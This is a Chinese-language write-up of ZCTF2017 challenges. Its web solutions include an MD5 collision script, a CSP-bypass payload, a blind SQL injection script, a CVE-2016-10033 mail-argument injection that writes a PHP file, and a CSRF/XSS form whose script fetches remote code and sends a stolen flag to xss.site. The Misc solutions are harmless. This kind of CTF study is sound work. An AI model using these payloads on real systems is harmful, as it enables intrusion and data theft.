ZCTF2017

觉得ZCTF很难,自己还需要很大的努力

Web

Web100

进去就一个ha?,当时没找到源码,别人给的,做完了才找到,其实就是.index.php.swp

1
2
3
4
5
6
7
8
9
10
11
<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
if (strstr($flag, 'zctf')) {
if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
die('ZCTF{#########}');
}
}
}
die('ha?')
?>

就是一个md5的碰撞,写个脚本跑一下就有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
import string
for i in string.lowercase:
for z in range(1,99999):
a=i+'zctf'+str(z)
b=str(a)
c=hashlib.md5(b)
d=str(c.hexdigest())
if(d[8:10]=='0e'):
zzz=d[10:24]
zz=0
for ss in zzz:
if ss.isalpha():
zz+=1
if zz==0:
print d
print b

Find my eyes

当时没有做出来看了lorexxar的write up才知道CSP,当时做的时候除了在contact.php下留言会返回success,其他的都没有反应,而且存在CSP:通过CSP特定的语法对网站加载的资源进行限制。

1
2
3
4
5
Content-Security-Policy
default-src 'self'; script-src 'self' 'unsafe-inline';
default-src 'self': 只能使用自己的同源的js脚本。
script-src 'self': 同样是同源策略
unsafe-inline : 只允许使用内联资源

对过滤的函数进行FUZZ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
eval
document
location
href
window
src
svg
img
open
callback
单双引号
括号
反斜杠
$\#

附上师傅们csp bypass的payload:

1
</textarea><script>//@ sourceMappingURL=http://0xb.pw</script>

easy apk

当时没做出来,也没什么头绪,看了write up发现就是一个注入题目和CVE-2016-10033的利用,通过测试发现过滤掉了

1
2
3
4
5
6
7
(
)
&
|
union select
from
password

而且过滤的是union+select,那么就利用union distinct select绕过过滤,附上HeartSky师傅的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
def encrypt(name):
key = "1470"*100
name = ''.join(reversed(list(name)))
tmp=[]
for i in range(len(name)):
tmp.append(hex(ord(name[i])^ord(key[i]))[2:].zfill(2))
enc = ''.join(tmp)
return enc
def getPassword():
password = ''
for i in range(36):
for j in range(33,127):
name = "admin' union distinct select 1,'test','" + password + chr(j) + "' order by 3 desc#"
enc = encrypt(name)
payload = {'username':enc, 'password':111}
r = requests.post('http://58.213.63.30:10005', data=payload)
if 'test' in r.text:
password += chr(j-1)
print password
break
# print encrypt("admin' union distinct select 0,2,3 order by 1 asc#")
getPassword()

得到密码登录之后就利用CVE-2016-10033漏洞进行写入

1
a( -X/var/www/html/upload/test.php -OQueueDirectory=/tmp )@qq.com

访问得到flag

onlymyself

看不太懂,主要知识点包含了CSRF,XSS记一下fp的CSRF脚本与通过search.php枚举flag.
CSRF:

1
2
3
4
5
6
7
8
<form id="ffrom" action="http://58.213.63.30:10003/checkProfile.php" method="POST" id="profile" enctype="multipart/form-data">
<input type="file" id="image" name="image" data-filename-placement="inside" style="left: -179.99px; top: 19.3333px;"></a>
<input name="nick" id="nick" value="<scriimgpt src=//xss.site/1.js>/*">
<input name="age" id="age" value ="2">
<input name="address" id="address" value="</scripimgt>">
<input class="btn btn-primary" id="submit" name="submit" type="submit" value="Submit"></div>
</form>
<script>submit.click()</script>

seaech:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
tab="_0123456789abcdefghijklmnopqrstuvwxyz}"
str=''
$.ajaxSettings.async=false
while(true){
for(i=0;i<tab.length;i++){
//console.log(tab[i]);
flag=false
x=$.get('http://58.213.63.30:10003/search.php?keywords=zctf{'+str+'\'+tab[i]);
if(x.status==404) flag=true;
if(!flag) break;
}
str+=tab[i];
console.log(str);
if(tab[i]=='}') break;
}
location.href=’//xss.site’+str

MISC

Russian Zip

打开发现提示要密码,也没给关于密码的Hint,想到可能是伪加密,利用zip修复工具,就可修复伪加密,也可以利用十六进制工具对文件头的加密标志位做修改zip伪加密打开发现是我的世界的存档,加载一下出flag

whisper

用winhex打开hint发现后面一大串base64代码,复制下来利用python去解

1
2
3
4
5
6
7
import base64
a = open('AA.txt','rb')
b = a.read()
c = base64.b64decode(b)
f = open('BB.txt','w')
f.write(c)
f.close()

发现失败了,后来看了大佬的write up才发现前面多了一个E。。。解开之后利用binwalk -e

提取文件然后cat *查找下password得到密码打开压缩包获得flag